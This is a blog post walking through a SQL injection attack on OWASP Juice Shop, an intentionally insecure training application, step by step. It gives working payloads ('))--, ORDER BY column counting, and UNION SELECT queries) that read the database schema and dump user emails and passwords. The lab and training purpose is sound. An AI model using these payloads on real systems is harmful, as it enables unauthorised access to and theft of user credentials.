Search This Blog

Thursday 9 March 2017

Pwning OWASP Juice Shop

Why Juice Shop?
OWASP Juice Shop is an intentionally insecure webapp for security training written entirely in Javascript which encompasses the entire OWASP Top Ten and other severe security flaws.

Apart from the hacker and awareness training use case, pentesting proxies or security scanners can use Juice Shop as a "guinea pig"-application to check how well their tools cope with Javascript-heavy application frontends and REST APIs. 

Architecture Overview
Frontend - Angular.js framework is used to create a so-called Single Page Application.
User Interface - layout is provided by Twitter's Bootstrap framework.
Backend - An Express.js application hosted in a Node.js server delivers the client-side code to the browser. It also provides the necessary backend functionality to the client via a RESTful API.
Database - As an underlying database a light-weight SQLite was chosen, because of its file-based nature.
Push Notifications - shown when a challenge was successfully hacked, are implemented via WebSocket protocol using socket.io which is the most prominent Javascript library in that space.
Registration - The application also offers convenient user registration via OAuth 2.0 so users can sign in with their Google accounts.



For the demo below I have used the Heroku Cloud Application Platform to build and run the application in the cloud.

Under The Hood
When trying to find security vulnerabilities on an application its important to try understand what's going on under the hood. Below we have a search function, this function allows us to search for products by putting in either the full products name/description or part of it.






The information returned by the application must be stored somewhere right? There must also be a SQL query used that takes the customers search selection to return results? What I try to do is visualize what this query might look like,

        SELECT * FROM Products WHERE name LIKE %test% or description LIKE %test%

Breaking The Query and Fixing What We Broke
As we are looking for possible security vulnerabilities, the next step is to check if we can inject some meaningful data that will produce an unexpected output. We think that the developer is using some type of SQL query to return the data but we don't know how they are taking that data in from the user to construct the query (this is a deliberately vulnerable application so I'm pretty sure they aren't using parameterized queries or stored procedures ;) Common techniques for opening and closing String values include ', ",'),"),)),,so we need to try and guess what the developer is using,is it. It could be a number of different ways..



       SELECT * FROM Products WHERE name LIKE '%test%' OR description LIKE '%test%'

       SELECT * FROM Products WHERE name LIKE "%test%" OR description LIKE "%test%"

       SELECT * FROM Products WHERE name LIKE ('%test%') OR description LIKE ('%test%')

       SELECT * FROM Products WHERE name LIKE ("%test%") OR description LIKE ("%test%")

       SELECT * FROM Products WHERE name LIKE (%test%) OR description LIKE (%test%)

       SELECT * FROM Products WHERE name LIKE ((%test%) OR description LIKE (%test%))

      SELECT * FROM Products WHERE ((name LIKE '%test%' OR description LIKE '%test%'))  😁

In the Search field we can try to inject these meaningful characters to see if we can cause some unexpected output i.e. an error. After some trial and error we can see highlighted below that ') has returned a SQLITE syntax error (in two places actually). This confirms that the developer is using

            {"error":{"message":"SQLITE_ERROR: near \")\": syntax error","stack":
     ...."SQLITE_ERROR","sql":"SELECT * FROM Products WHERE ((name LIKE '%')%'
         OR description LIKE '%')%') AND deletedAt IS NULL)ORDER BY name"}}

Now that the query has been broken, we need to escape the developers query so that we can construct our own query and execute it. We can use comments to close of our query, in other words everything to the left of our comment will be interpreted as an SQL query. Comments can be --, #, /*, */ with or without space depending on the browser

    SELECT * FROM Products WHERE ((name LIKE '%'))--%' OR description LIKE '%'))--%')

As you can see above we were able to close the query using '))--


True and False Statements
We have "fixed" the query, next we can try to return some data using true and false statements.
We can start for searching for a product or description with the word "text". This returns one result.


 Next lets append a True statement, you can see in the image that it returns all of the results

True => test')) or 1=1 --


 
If we append a False statement, no results are returned
                                        
False => test')) or 1=0 --





Column Enumeration
Before going any further we need to visualize how many columns are used by the developer in the query. Note: We aren't talking about the columns in the database but the columns being used in the query. So let's validate it, we can use a function called

   Try ORDER By 9-
           test')) ORDER BY 9--




Ok, so we get an out of range error - should be between 1 and 8 


Lets try ORDER BY 8--
test')) ORDER BY 8--



Columns returns 200 OK



This means that the developer is using 8 columns in the query. So let's update our query
SELECT * FROM Products WHERE name LIKE (('%test%') or description LIKE ('%test%'))

SELECT col-1,col-2,col-3,col-4,col-5,col-6,col-7,col-8 FROM Products WHERE name LIKE (('%test%') or description LIKE ('%test%'))

Crafting Our Own Query 
We cannot change this part of the query but we can change where the user input is being taken in
Our own query can be appended using the UNION statement.
Point to Remember: We need to balance our query with the applications query i.e. we need to have 8 columns also
We can try

test')) UNION SELECT 1,2,3,4,5,6,7,8--


Return Table Names
We can use the name from sqlite_master WHERE type='table'-- to return the table names

test')) UNION SELECT 1,name,3,4,5,6,7,8 from sqlite_master WHERE type='table'--



Return Column Names 
We can dump a Tables schema using the sql from sqlite_master WHERE type='table'-- command

test')) UNION SELECT 1,sql,3,4,5,6,7,8 from sqlite_master WHERE type='table'--



 
Dumping Data from the Columns
Finally dump email and passwords

test')) UNION SELECT 1,email,password,4,5,6,7,8 from users--



You can learn more about the Juice Shop via the links below..
OWASP_Juice_Shop_Project
Juice-Shop GitHub